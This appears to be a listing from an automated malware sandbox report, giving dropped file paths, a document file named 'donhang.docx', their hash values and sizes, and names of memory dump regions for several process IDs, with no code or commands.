C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
2KB

MD5
b3787decbf7bbedfd9a6742923e19fb5

SHA1
f08f25c03aea5895b5dafbbacc171cea74546501

SHA256
ee0dd2262adc2ae0aaca3f27d8e53a53f1c003fc7d4465f602ac39252a57adef

SHA512
17fcb5ff16f76f0637ed3a03d6a140d4a39bcfabbe838c7804367582cb5c4e49d8cfb8be64ed6a7383a9971b8e40aa90f8c9f16c38b87cb7103d2ea60ef212c9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
1KB

MD5
027fcefd77e105ab8cd3352f07ef4a22

SHA1
409ebdc2376ce853a66773317568c46d9a011544

SHA256
e9c1b22c83ab801de6f168adf7bbbbdeb043e54e92a26e0d29c4d87def442788

SHA512
263edc1ccbf7f0a49c3d27b22d4442687a7f518af9612db31dbc96ff3455c31574c8d11becddfe2dcf69088d0e78cfe7c7a78686e1c28f5b0870b138640219e6

Download Submit
C:\Users\Admin\AppData\Roaming\donhang.docx

Filesize
12KB

MD5
ff3620557b65e6e8dd8816643d785c5a

SHA1
d5021480b7cac2066462829c53dc18615642c579

SHA256
85225d3c39423bbfc05e9d52351a9b00670fee3565457e5c3f75caac27ca4de9

SHA512
c2a842bfa4f3caf50d58d5707ca0ad978e04e5111fe20ad468282c216567d25da7022fb7ff2681cb72acc8add3cbcf37000b6bde06ad252758f6ff06c9fb3d34

Download Submit
memory/544-569-0x00007FFB57100000-0x00007FFB571BE000-memory.dmp

Filesize
760KB

Download
memory/544-570-0x00007FFB55750000-0x00007FFB55A19000-memory.dmp

Filesize
2.8MB

Download
memory/544-568-0x00007FFB57DB0000-0x00007FFB57FA5000-memory.dmp

Filesize
2.0MB

Download
memory/544-572-0x00007FF65C5A0000-0x00007FF65C626000-memory.dmp

Filesize
536KB

Download
memory/544-567-0x0000028EA9830000-0x0000028EA9C30000-memory.dmp

Filesize
4.0MB

Download
memory/544-566-0x0000028EA9830000-0x0000028EA9C30000-memory.dmp

Filesize
4.0MB

Download
memory/544-563-0x00007FF65C5A0000-0x00007FF65C626000-memory.dmp

Filesize
536KB

Download
memory/2000-576-0x00007FFB57100000-0x00007FFB571BE000-memory.dmp

Filesize
760KB

Download
memory/2000-577-0x00007FFB55750000-0x00007FFB55A19000-memory.dmp

Filesize
2.8MB

Download
memory/2000-571-0x000001DCB58C0000-0x000001DCB58CA000-memory.dmp

Filesize
40KB

Download
memory/2000-574-0x000001DCB5B20000-0x000001DCB5F20000-memory.dmp

Filesize
4.0MB

Download
memory/2000-575-0x00007FFB57DB0000-0x00007FFB57FA5000-memory.dmp

Filesize
2.0MB

Download
memory/2856-85-0x0000000005C60000-0x0000000005CFC000-memory.dmp

Filesize
624KB

Download
memory/2856-536-0x0000000006020000-0x000000000602C000-memory.dmp

Filesize
48KB

Download
memory/2856-557-0x0000000007500000-0x0000000007592000-memory.dmp

Filesize
584KB

Download
memory/2856-92-0x00000000062B0000-0x0000000006854000-memory.dmp

Filesize
5.6MB

Download
memory/2856-29-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/2856-93-0x0000000005D70000-0x0000000005DD6000-memory.dmp

Filesize
408KB

Download
memory/2856-537-0x0000000007080000-0x000000000709E000-memory.dmp

Filesize
120KB

Download
memory/2856-553-0x0000000007170000-0x0000000007180000-memory.dmp

Filesize
64KB

Download
memory/2856-578-0x0000000006F20000-0x0000000006F84000-memory.dmp

Filesize
400KB

Download
memory/2856-535-0x00000000070E0000-0x0000000007156000-memory.dmp

Filesize
472KB

Download
memory/3192-54-0x00007FFB17E30000-0x00007FFB17E40000-memory.dmp

Filesize
64KB

Download
memory/3192-55-0x00007FFB17E30000-0x00007FFB17E40000-memory.dmp

Filesize
64KB

Download
memory/3192-56-0x00007FFB17E30000-0x00007FFB17E40000-memory.dmp

Filesize
64KB

Download
memory/3192-60-0x00007FFB15DD0000-0x00007FFB15DE0000-memory.dmp

Filesize
64KB

Download
memory/3192-57-0x00007FFB17E30000-0x00007FFB17E40000-memory.dmp

Filesize
64KB

Download
memory/3192-58-0x00007FFB17E30000-0x00007FFB17E40000-memory.dmp

Filesize
64KB

Download
memory/3192-59-0x00007FFB15DD0000-0x00007FFB15DE0000-memory.dmp

Filesize
64KB

Download
memory/3772-26-0x00007FFB39E20000-0x00007FFB3A8E1000-memory.dmp

Filesize
10.8MB

Download
memory/3772-25-0x00007FFB39E23000-0x00007FFB39E25000-memory.dmp

Filesize
8KB

Download
memory/3772-0-0x00007FFB39E23000-0x00007FFB39E25000-memory.dmp

Filesize
8KB

Download
memory/3772-36-0x00007FFB39E20000-0x00007FFB3A8E1000-memory.dmp

Filesize
10.8MB

Download
memory/3772-11-0x00007FFB39E20000-0x00007FFB3A8E1000-memory.dmp

Filesize
10.8MB

Download
memory/3772-12-0x00007FFB39E20000-0x00007FFB3A8E1000-memory.dmp

Filesize
10.8MB

Download
memory/3772-10-0x0000020DF4710000-0x0000020DF4732000-memory.dmp

Filesize
136KB

Download
memory/4420-28-0x00007FFB39E20000-0x00007FFB3A8E1000-memory.dmp

Filesize
10.8MB

Download
memory/4420-27-0x0000022B8F840000-0x0000022B8F882000-memory.dmp

Filesize
264KB

Download
memory/4420-32-0x00007FFB39E20000-0x00007FFB3A8E1000-memory.dmp

Filesize
10.8MB

Download
memory/4420-13-0x00007FFB39E20000-0x00007FFB3A8E1000-memory.dmp

Filesize
10.8MB

Download
memory/4420-23-0x00007FFB39E20000-0x00007FFB3A8E1000-memory.dmp

Filesize
10.8MB

Download
memory/4420-24-0x00007FFB39E20000-0x00007FFB3A8E1000-memory.dmp

Filesize
10.8MB

Download
memory/4972-559-0x0000000007220000-0x000000000723A000-memory.dmp

Filesize
104KB

Download
memory/4972-540-0x0000000005460000-0x0000000005A88000-memory.dmp

Filesize
6.2MB

Download
memory/4972-555-0x0000000006190000-0x00000000061AE000-memory.dmp

Filesize
120KB

Download
memory/4972-544-0x0000000005BD0000-0x0000000005C36000-memory.dmp

Filesize
408KB

Download
memory/4972-539-0x0000000002970000-0x00000000029A6000-memory.dmp

Filesize
216KB

Download
memory/4972-560-0x0000000007270000-0x0000000007292000-memory.dmp

Filesize
136KB

Download
memory/4972-548-0x0000000005CB0000-0x0000000006004000-memory.dmp

Filesize
3.3MB

Download
memory/4972-558-0x0000000007320000-0x00000000073B6000-memory.dmp

Filesize
600KB

Download
memory/4972-541-0x0000000005B30000-0x0000000005B52000-memory.dmp

Filesize
136KB

Download
memory/4972-556-0x00000000061B0000-0x00000000061FC000-memory.dmp

Filesize
304KB

Download